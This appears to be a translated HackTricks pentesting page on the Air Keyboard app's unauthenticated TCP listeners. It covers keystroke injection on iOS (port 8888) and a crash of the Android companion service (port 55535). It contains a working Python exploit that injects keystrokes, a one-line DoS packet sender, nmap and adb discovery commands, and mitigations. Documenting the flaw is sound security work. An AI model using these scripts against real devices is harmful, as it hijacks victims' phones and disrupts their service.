4.4 KiB
Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
TL;DR
A versão iOS do aplicativo comercial "Air Keyboard" (ID da App Store 6463187929) abre um serviço TCP em texto claro na porta 8888 que aceita quadros de pressionamento de tecla sem qualquer autenticação. Qualquer dispositivo na mesma rede Wi-Fi pode se conectar a essa porta e injetar entrada de teclado arbitrária no telefone da vítima, alcançando sequestro total de interação remota.
Uma versão companion para Android escuta na porta 55535. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado causa uma exceção não tratada na rotina de descriptografia do OpenSSL, fazendo o serviço em segundo plano falhar (DoS).
1. Service Discovery
Escaneie a rede local e procure as duas portas fixas usadas pelos aplicativos:
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Nos dispositivos Android, você pode identificar o pacote responsável localmente:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
2. Formato de Quadro (iOS)
O binário revela a seguinte lógica de análise dentro da rotina handleInputFrame()
:
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
O comprimento declarado inclui o byte device_id
mas não o cabeçalho de dois bytes.
3. Exploração PoC
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
Qualquer ASCII imprimível (incluindo \n
, \r
, teclas especiais, etc.) pode ser enviado, efetivamente concedendo ao atacante o mesmo poder que a entrada física do usuário: lançar aplicativos, enviar mensagens instantâneas, visitar URLs de phishing, etc.
4. Android Companion – Negação de Serviço
A porta Android (55535) espera uma senha de 4 caracteres criptografada com uma chave AES-128-ECB codificada seguida por um nonce aleatório. Erros de análise sobem para AES_decrypt()
e não são capturados, terminando a thread do listener. Um único pacote malformado é, portanto, suficiente para manter usuários legítimos desconectados até que o processo seja relançado.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Causa Raiz
- Sem verificações de origem / integridade em quadros recebidos (iOS).
- Uso indevido de criptografia (chave estática, ECB, validação de comprimento ausente) e falta de tratamento de exceções (Android).
6. Mitigações & Ideias de Fortalecimento
- Nunca exponha serviços não autenticados em um dispositivo móvel.
- Derive segredos por dispositivo durante o onboarding e verifique-os antes de processar a entrada.
- Vincule o listener a
127.0.0.1
e use um transporte autenticado mutuamente, criptografado (por exemplo, TLS, Noise) para controle remoto. - Detecte portas abertas inesperadas durante revisões de segurança móvel (
netstat
,lsof
,frida-trace
emsocket()
etc.). - Como usuário final: desinstale o Air Keyboard ou use-o apenas em redes Wi-Fi confiáveis e isoladas.
Detecção Cheat-Sheet (Pentesters)
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
Referências
- Vulnerabilidade de Injeção de Entrada Remota no App Air Keyboard iOS Ainda Não Corrigida
- Aviso CXSecurity WLB-2025060015
{{#include ../../banners/hacktricks-training.md}}